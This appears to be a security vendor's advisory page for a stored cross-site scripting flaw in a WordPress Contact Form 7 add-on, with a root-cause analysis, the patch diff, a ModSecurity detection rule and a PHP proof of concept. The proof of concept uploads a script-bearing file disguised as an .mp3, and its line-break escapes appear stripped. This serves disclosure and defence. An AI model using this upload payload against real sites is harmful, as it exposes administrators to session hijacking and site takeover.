Published : November 29, 2026

CVE-2026-121978: Ultra Addons for Contact Form 7 <= 3.5.58 Unauthenticated Stored Cross-Site Scripting via File Upload via Contact Form 7 Database Add-on PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.7)
CWE 79
Vulnerable Version 3.5.58
Patched Version 3.5.59
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-121978: Ultra Addons for Contact Form 7 (versions up to and including 3.5.58) contains an unauthenticated stored cross-site scripting vulnerability in the multi-step form file upload handling. The vulnerability is rated CVSS 4.7 and assigned CWE-79. Attackers can inject arbitrary web scripts via the ‘dfile’ parameter, which execute when a user accesses an injected page, provided the web server lacks an explicit Content-Type header for the uploaded audio/video extension and an administrator performs a specific action.

The root cause lies in the multi-step add-on’s file upload processing. In `/addons/multistep/multistep.php`, around line 842, the plugin calls `wpcf7_unship_uploaded_file( $file, $args )` without passing an array to capture uploaded files properly. This omission allows the uploaded file to bypass Contact Form 7’s normal sanitization and output escaping. The ‘dfile’ parameter (any CF7 file field) is not adequately sanitized before being stored, and later rendered without escaping. The patch in version 3.5.59 modifies this call to `wpcf7_unship_uploaded_file( $file, $args, $uploaded_files )`, introducing a third parameter to collect uploaded files, which likely enforces proper validation and escaping downstream.

Exploitation requires an attacker to submit a multi-step form containing a file upload field (e.g., ‘dfile’) with a malicious file. The file must have an audio or video extension that the web server serves without an explicit Content-Type header, causing the browser to sniff and render it as text/html. Default Apache configurations without mod_headers or .htaccess support satisfy this condition. The attacker uploads a file containing JavaScript, which is stored by the plugin. When an administrator later views the uploaded file (e.g., in the form entries or a page embedding the file), the script executes in the admin’s browser, leading to stored XSS. The attacker cannot trigger the execution alone; it requires an admin action.

The patch adds an `$uploaded_files` array and passes it to `wpcf7_unship_uploaded_file`, ensuring that uploaded files are properly tracked and sanitized. This change likely enables the plugin to handle file uploads securely, preventing malicious content from being stored without escaping. The version bump to 3.5.59 indicates the fix is included. Before the patch, the missing parameter allowed the file to be processed without the necessary sanitization, leading to stored XSS.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s browser, potentially leading to session hijacking, privilege escalation, or full site compromise. The attacker could create new admin accounts, modify content, or install malicious plugins. The CVSS score of 4.7 reflects the requirement for admin interaction and specific server conditions, but the impact remains significant.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ultimate-addons-for-contact-form-7/addons/multistep/multistep.php
+++ b/ultimate-addons-for-contact-form-7/addons/multistep/multistep.php
@@ -842,8 +842,11 @@
 				);
 				if ( method_exists( $form, 'get_schema' ) ) {
 					$args['schema'] = $form->get_schema();
-				}
-				$new_files = function_exists( 'wpcf7_unship_uploaded_file' ) ? wpcf7_unship_uploaded_file( $file, $args ) : null;
+				}
+
+				$uploaded_files = array();
+				$new_files = function_exists( 'wpcf7_unship_uploaded_file' ) ? wpcf7_unship_uploaded_file( $file, $args, $uploaded_files ) : null;
+
 				if ( is_wp_error( $new_files ) ) {
 					$result->invalidate( $tag, $new_files );
 				}
@@ -941,4 +944,4 @@
 	}

 }
-new UACF7_MULTISTEP();
 No newline at end of file
+new UACF7_MULTISTEP();
--- a/ultimate-addons-for-contact-form-7/ultimate-addons-for-contact-form-7.php
+++ b/ultimate-addons-for-contact-form-7/ultimate-addons-for-contact-form-7.php
@@ -3,7 +3,7 @@
  * Plugin Name: Ultra Addons for Contact Form 7
  * Plugin URI: https://cf7addons.com/
  * Description: 50+ Essential Addons for Contact Form 7 - Conditional Fields, Multi Step Forms, Redirection, Form Templates, Columns, WooCommerce, Mailchimp and more, all in one.
- * Version: 3.5.58
+ * Version: 3.5.59
  * Author: Themefic
  * Author URI: https://themefic.com/
  * License: GPL-2.0+
@@ -30,7 +30,7 @@
 		define( 'UACF7_URL', plugin_dir_url( __FILE__ ) );
 		define( 'UACF7_ADDONS', UACF7_URL . 'addons' );
 		define( 'UACF7_PATH', plugin_dir_path( __FILE__ ) );
-		define( 'UACF7_VERSION', '3.5.58' );
+		define( 'UACF7_VERSION', '3.5.59' );

 		/*
 		 * ---------------------------------------------------------

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-121978
SecRule REQUEST_URI "@streq /wp-json/contact-form-7/v1/contact-forms/123/feedback" 
  "id:121978,phase:2,deny,status:403,chain,msg:'CVE-2026-121978 via Ultra Addons CF7 multi-step file upload',severity:'CRITICAL',tag:'CVE-2026-121978'"
  SecRule ARGS_POST:dfile "@rx (?i)<script|onerror=|onload=|javascript:" 
    "t:urlDecode,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-121978 - Ultra Addons for Contact Form 7 <= 3.5.58 - Unauthenticated Stored Cross-Site Scripting via File Upload via Contact Form 7 Database Add-on

// This PoC demonstrates the upload of a malicious file via a multi-step form.
// It assumes a target with a vulnerable plugin and a form with a file field named 'dfile'.
// The attacker must know the form ID and the URL of the form page.

$target_url = 'http://example.com/wp-json/contact-form-7/v1/contact-forms/123/feedback'; // Replace with actual form endpoint
$form_id = 123; // Replace with actual form ID

// Malicious file content: HTML with JavaScript that triggers an alert
$malicious_content = '<html><body><script>alert("XSS via CVE-2026-121978");</script></body></html>';

// File extension must be audio/video that server serves without Content-Type (e.g., .mp3, .mp4)
// We'll use .mp3 for this example
$file_name = 'payload.mp3';

// Build multipart form data
$boundary = '------------------------' . rand(100000, 999999);
$post_data = '';

// Add form fields (adjust as needed for the specific form)
$post_data .= "--$boundaryrn";
$post_data .= "Content-Disposition: form-data; name="_wpcf7"rnrn";
$post_data .= "$form_idrn";
$post_data .= "--$boundaryrn";
$post_data .= "Content-Disposition: form-data; name="_wpcf7_version"rnrn";
$post_data .= "5.8rn";
$post_data .= "--$boundaryrn";
$post_data .= "Content-Disposition: form-data; name="_wpcf7_unit_tag"rnrn";
$post_data .= "wpcf7-f$form_id-p1-o1rn";
$post_data .= "--$boundaryrn";
$post_data .= "Content-Disposition: form-data; name="dfile"; filename="$file_name"rn";
$post_data .= "Content-Type: audio/mpegrnrn";
$post_data .= $malicious_content . "rn";
$post_data .= "--$boundary--rn";

// Send request with cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    "Content-Type: multipart/form-data; boundary=$boundary",
    "Content-Length: " . strlen($post_data)
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "File uploaded successfully. The malicious script will execute when an admin views the file.n";
} else {
    echo "Upload failed with HTTP code: $http_coden";
    echo "Response: $responsen";
}

// Note: The attacker must then wait for an administrator to access the uploaded file.
// The exact endpoint and parameters may vary based on the form configuration.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.